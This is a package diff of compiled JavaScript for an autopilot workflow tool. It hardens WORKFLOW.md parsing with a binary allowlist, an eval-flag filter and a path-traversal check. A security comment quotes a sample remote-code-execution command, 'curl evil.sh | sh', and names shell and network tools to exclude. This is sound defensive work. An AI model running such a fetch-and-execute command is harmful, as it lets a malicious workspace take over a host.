+{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":";;;AAsEA,oDAEC;AAGD,0CAEC;AAYD,gEAaC;AA6ND,gDAsBC;AAzSD,gGAAgG;AACnF,QAAA,qBAAqB,GAA+B,IAAI,GAAG,CAAgB;IACtF,mBAAmB;IACnB,8BAA8B;IAC9B,yBAAyB;IACzB,mBAAmB;IACnB,kBAAkB;IAClB,SAAS;IACT,uBAAuB;IACvB,cAAc;IACd,gBAAgB;IAChB,qBAAqB;IACrB,mBAAmB;IACnB,qBAAqB;IACrB,wBAAwB;IACxB,gCAAgC;IAChC,oBAAoB;IACpB,qBAAqB;CACtB,CAAC,CAAC;AAEH;oFACoF;AACpF,SAAgB,oBAAoB,CAAC,KAAa;IAChD,OAAO,6BAAqB,CAAC,GAAG,CAAC,KAAsB,CAAC,CAAC;AAC3D,CAAC;AAED,2FAA2F;AAC3F,SAAgB,eAAe,CAAC,KAAa,EAAE,WAA0B,mBAAmB;IAC1F,OAAO,oBAAoB,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,QAAQ,CAAC;AACxD,CAAC;AAED;;;;;;;;;GASG;AACH,SAAgB,0BAA0B,CAAC,MAAmB;IAC5D,QAAQ,MAAM,EAAE,CAAC;QACf,KAAK,mBAAmB,CAAC,CAAC,OAAO,mBAAmB,CAAC;QACrD,KAAK,cAAc,CAAC,CAAC,OAAO,cAAc,CAAC;QAC3C,KAAK,uBAAuB,CAAC,CAAC,OAAO,uBAAuB,CAAC;QAC7D,KAAK,mBAAmB,CAAC,CAAC,OAAO,mBAAmB,CAAC;QACrD,KAAK,sBAAsB,CAAC,CAAC,OAAO,qBAAqB,CAAC;QAC1D,KAAK,mBAAmB,CAAC,CAAC,OAAO,mBAAmB,CAAC;QACrD,KAAK,qBAAqB,CAAC,CAAC,OAAO,qBAAqB,CAAC;QACzD,KAAK,wBAAwB,CAAC,CAAC,OAAO,wBAAwB,CAAC;QAC/D,KAAK,gCAAgC,CAAC,CAAC,OAAO,gCAAgC,CAAC;QAC/E,KAAK,oBAAoB,CAAC,CAAC,OAAO,oBAAoB,CAAC;IACzD,CAAC;AACH,CAAC;AAYD;;;;;;;;;;;GAWG;AACU,QAAA,WAAW,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,SAAS,CAAU,CAAC;AA6LzD,QAAA,cAAc,GAAoB;IAC7C,kBAAkB,EAAE,CAAC;IACrB,qBAAqB,EAAE,EAAE;IACzB,kBAAkB,EAAE,CAAC;IACrB,cAAc,EAAE,EAAE;IAClB,sBAAsB,EAAE,CAAC;CAC1B,CAAC;AAEF,SAAgB,kBAAkB,CAChC,UAAkB,EAClB,KAAa,EACb,SAA0B,sBAAc;IAExC,OAAO;QACL,MAAM,EAAE,MAAM;QACd,UAAU;QACV,KAAK;QACL,YAAY,EAAE,CAAC;QACf,kBAAkB,EAAE,CAAC;QACrB,kBAAkB,EAAE,MAAM,CAAC,kBAAkB;QAC7C,qBAAqB,EAAE,MAAM,CAAC,qBAAqB;QACnD,sBAAsB,EAAE,MAAM,CAAC,sBAAsB,IAAI,CAAC;QAC1D,cAAc,EAAE,CAAC;QACjB,kBAAkB,EAAE,MAAM,CAAC,kBAAkB;QAC7C,oBAAoB,EAAE,KAAK;QAC3B,OAAO,EAAE,KAAK;QACd,eAAe,EAAE,CAAC;QAClB,WAAW,EAAE,MAAM,CAAC,WAAW;QAC/B,QAAQ,EAAE,KAAK;KAChB,CAAC;AACJ,CAAC"}

package/dist/src/workflow-config.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"workflow-config.d.ts","sourceRoot":"","sources":["../../src/workflow-config.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,cAAc,EAAqB,MAAM,SAAS,CAAC;AAEjE,eAAO,MAAM,uBAAuB,EAAE,cAqBrC,CAAC;AAEF,UAAU,UAAU;IAClB,MAAM,EAAE,cAAc,CAAC;IACvB,QAAQ,EAAE,MAAM,EAAE,CAAC;CACpB;AA0SD;;;GAGG;AACH,wBAAgB,kBAAkB,CAAC,YAAY,EAAE,MAAM,EAAE,aAAa,CAAC,EAAE,MAAM,GAAG,UAAU,CAkD3F"}
+{"version":3,"file":"workflow-config.d.ts","sourceRoot":"","sources":["../../src/workflow-config.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,cAAc,EAAqB,MAAM,SAAS,CAAC;AAIjE,eAAO,MAAM,uBAAuB,EAAE,cAqBrC,CAAC;AAEF,UAAU,UAAU;IAClB,MAAM,EAAE,cAAc,CAAC;IACvB,QAAQ,EAAE,MAAM,EAAE,CAAC;CACpB;AAuYD;;;GAGG;AACH,wBAAgB,kBAAkB,CAAC,YAAY,EAAE,MAAM,EAAE,aAAa,CAAC,EAAE,MAAM,GAAG,UAAU,CAuD3F"}

package/dist/src/workflow-config.js

@@ -43,6 +43,8 @@ exports.loadWorkflowConfig = loadWorkflowConfig;
  */
 const fs = __importStar(require("fs"));
 const path = __importStar(require("path"));
+const model_routing_1 = require("./model-routing");
+const permission_policy_1 = require("@oh-my-matrix/permission-policy");
 exports.DEFAULT_WORKFLOW_CONFIG = {
     version: 1,
     source: 'default',
@@ -65,6 +67,68 @@ exports.DEFAULT_WORKFLOW_CONFIG = {
     },
     warnings: [],
 };
+/**
+ * S1 (audit 2026-06-30): allowlist of binaries permitted in WORKFLOW.md
+ * `validation.commands`. WORKFLOW.md is an attacker-controllable input (it lives
+ * in the workspace, not the operator's config), and these commands run via
+ * execFile on the autopilot `complete` path — without this filter, a malicious
+ * workspace could achieve RCE by committing `command: "curl evil.sh | sh"`.
+ *
+ * Fail-closed: anything not listed is dropped + warned. Intentionally excludes
+ * `bash`/`sh`/`curl`/`wget`/`nc`/arbitrary binaries. Residual surface: an
+ * allowlisted interpreter (e.g. `python -c "..."`) can still run arbitrary code
+ * via its own flags; narrowing that requires argument inspection, tracked as a
+ * follow-up. The binary gate already removes the "any binary, zero friction"
+ * RCE path that existed before.
+ */
+const ALLOWED_VALIDATION_BINARIES = new Set([
+    'npm', 'pnpm', 'yarn', 'npx', 'node', 'node.exe',
+    'tsc', 'tsx', 'eslint', 'prettier', 'markdownlint', 'markdownlint-cli2',
+    'vitest', 'jest', 'mocha', 'vite', 'webpack', 'rollup', 'esbuild',
+    'go', 'cargo', 'rustc',
+    'python', 'python3', 'pytest', 'pip', 'pip3',
+    'make', 'cmake', 'dotnet', 'msbuild',
+    'gradle', 'mvn', 'rake', 'bundle', 'swift', 'xcodebuild',
+]);
+/** S1-B: interpreters that can execute an arbitrary string passed as a flag. */
+const INTERPRETER_BINARIES = new Set(['node', 'python', 'python3']);
+/** S1-B: flags that make those interpreters run an arbitrary string. */
+const DANGEROUS_EVAL_FLAGS = new Set([
+    '-e', '--eval', '-c', '--command', '--exec', '-p', '--print',
+]);
+/**
+ * S1: drop validation commands whose binary is not on the allowlist, and
+ * (S1-B) drop interpreter commands that pass an eval flag (-e/-c/--eval…)
+ * even when the binary itself is allowlisted. Mutates `warnings` with one
+ * entry per dropped command for observability.
+ *
+ * Note: this cannot stop `npm run <script>` / `node script.js` where the
+ * workspace owns the script — that path is gated by the trustWorkspace opt-in
+ * in applyWorkflowConfig (the root-cause boundary), not by this filter.
+ */
+function filterValidationCommands(commands, warnings) {
+    const kept = [];
+    for (const cmd of commands) {
+        const tokens = (0, permission_policy_1.tokenizeShell)(cmd.command);
+        const bin = tokens[0]?.toLowerCase();
+        if (!bin || !ALLOWED_VALIDATION_BINARIES.has(bin)) {
+            warnings.push(`Disallowed validation binary "${bin ?? '(empty)'}" in command "${cmd.command.substring(0, 80)}" — dropped (S1 fail-closed)`);
+            continue;
+        }
+        if (INTERPRETER_BINARIES.has(bin)) {
+            const hasEvalFlag = tokens.slice(1).some((a) => {
+                const flag = a.split('=')[0];
+                return DANGEROUS_EVAL_FLAGS.has(flag) || DANGEROUS_EVAL_FLAGS.has(a);
+            });
+            if (hasEvalFlag) {
+                warnings.push(`Disallowed eval flag on ${bin} in "${cmd.command.substring(0, 80)}" — dropped (S1-B)`);
+                continue;
+            }
+        }
+        kept.push(cmd);
+    }
+    return kept;
+}
 /**
  * Parse a YAML-like autopilot section from front matter.
  * Minimal parser — only handles the autopilot schema we define.
@@ -77,7 +141,7 @@ function parseAutopilotSection(raw) {
     const knownKeys = new Set([
         'version', 'max_concurrent', 'max_retries',
         'stall_timeout_ms', 'max_retry_backoff_ms', 'workspace', 'validation',
-        'destructive_git',
+        'destructive_git', 'model_routing',
     ]);
     for (const key of Object.keys(raw)) {
         if (!knownKeys.has(key)) {
@@ -107,8 +171,23 @@ function parseAutopilotSection(raw) {
     }
     if ('workspace' in raw && typeof raw.workspace === 'object' && raw.workspace !== null) {
         const ws = raw.workspace;
+        // Trust-boundary check: WORKFLOW.md is attacker-controllable workspace content.
+        // workspace.root is not consumed at runtime today (autopilot delegates worktree
+        // management to the host per ADR-008), but reject `..` traversal segments as
+        // defense-in-depth so a root cannot escape its base if a host ever resolves it
+        // via path.join. Absolute paths are left to the host's own containment check —
+        // they are explicit targets, not traversal.
+        let root = exports.DEFAULT_WORKFLOW_CONFIG.workspace.root;
+        if (typeof ws.root === 'string') {
+            if (ws.root.split(/[\\/]/).includes('..')) {
+                warnings.push(`workspace.root "${ws.root}" contains ".." traversal — using default (${exports.DEFAULT_WORKFLOW_CONFIG.workspace.root})`);
+            }
+            else {
+                root = ws.root;
+            }
+        }
         result.workspace = {
-            root: typeof ws.root === 'string' ? ws.root : exports.DEFAULT_WORKFLOW_CONFIG.workspace.root,
+            root,
             cleanup: ws.cleanup === 'delete_on_done' ? 'delete_on_done' : 'manual',
             branchPrefix: typeof ws.branch_prefix === 'string' ? ws.branch_prefix : 'autopilot',
             baseRef: typeof ws.base_ref === 'string' ? ws.base_ref : undefined,
@@ -134,7 +213,7 @@ function parseAutopilotSection(raw) {
             }
         }
         result.validation = {
-            commands,
+            commands: filterValidationCommands(commands, warnings),
             failOnOptional: val.fail_on_optional === true,
         };
     }
@@ -144,6 +223,11 @@ function parseAutopilotSection(raw) {
             allow: dg.allow === true,
         };
     }
+    if ('model_routing' in raw) {
+        const routing = (0, model_routing_1.parseModelRouting)(raw.model_routing);
+        if (routing)
+            result.modelRouting = routing;
+    }
     return { config: result, warnings };
 }
 /**
@@ -175,14 +259,20 @@ function parseSimpleYaml(yaml) {
     const root = {};
     let i = 0;
     function parseValue(indent) {
+        // PROD-9: skip blank/comment lines iteratively — recursing once per line
+        // could blow the stack on a WORKFLOW.md with thousands of blank lines.
+        while (i < lines.length) {
+            const t = lines[i].trimStart();
+            if (t === '' || t.startsWith('#')) {
+                i++;
+                continue;
+            }
+            break;
+        }
         if (i >= lines.length)
             return null;
         const line = lines[i];
         const trimmed = line.trimStart();
-        if (trimmed === '' || trimmed.startsWith('#')) {
-            i++;
-            return parseValue(indent);
-        }
         // Array item
         if (trimmed.startsWith('- ')) {
             const items = [];
@@ -378,6 +468,7 @@ function loadWorkflowConfig(baseRepoPath, workspacePath) {
     const searchPaths = workspacePath
         ? [path.join(workspacePath, 'WORKFLOW.md'), path.join(baseRepoPath, 'WORKFLOW.md')]
         : [path.join(baseRepoPath, 'WORKFLOW.md')];
+    const ioWarnings = [];
     for (const filePath of searchPaths) {
         if (!fs.existsSync(filePath))
             continue;
@@ -393,9 +484,10 @@ function loadWorkflowConfig(baseRepoPath, workspacePath) {
                 // Invalid autopilot section (e.g., autopilot: {})
                 if (autopilot === null || (typeof autopilot === 'object' && Object.keys(autopilot).length === 0)) {
                     // autopilot: {} or autopilot: null — use defaults but mark as workflow_md source
+                    // REV-4: surface I/O warnings from earlier-failed candidate paths.
                     return {
-                        config: { ...exports.DEFAULT_WORKFLOW_CONFIG, source: 'workflow_md', warnings: [] },
-                        warnings: [],
+                        config: { ...exports.DEFAULT_WORKFLOW_CONFIG, source: 'workflow_md', warnings: ioWarnings },
+                        warnings: ioWarnings,
                     };
                 }
                 continue;
@@ -408,15 +500,17 @@ function loadWorkflowConfig(baseRepoPath, workspacePath) {
                 workspace: { ...exports.DEFAULT_WORKFLOW_CONFIG.workspace, ...partial.workspace },
                 validation: { ...exports.DEFAULT_WORKFLOW_CONFIG.validation, ...partial.validation },
                 destructiveGit: { ...exports.DEFAULT_WORKFLOW_CONFIG.destructiveGit, ...partial.destructiveGit },
-                warnings,
+                warnings: [...ioWarnings, ...warnings],
             };
-            return { config: merged, warnings };
+            // REV-4: surface I/O warnings from earlier-failed candidate paths alongside
+            // the parse-section warnings so the user sees "first file failed, used second".
+            return { config: merged, warnings: [...ioWarnings, ...warnings] };
         }
-        catch {
-            // Parsing error — fallback to default
+        catch (err) {
+            ioWarnings.push(`Failed to read/parse ${filePath}: ${err instanceof Error ? err.message : String(err)}`);
             continue;
         }
     }
-    return { config: exports.DEFAULT_WORKFLOW_CONFIG, warnings: [] };
+    return { config: exports.DEFAULT_WORKFLOW_CONFIG, warnings: ioWarnings };
 }
 //# sourceMappingURL=workflow-config.js.map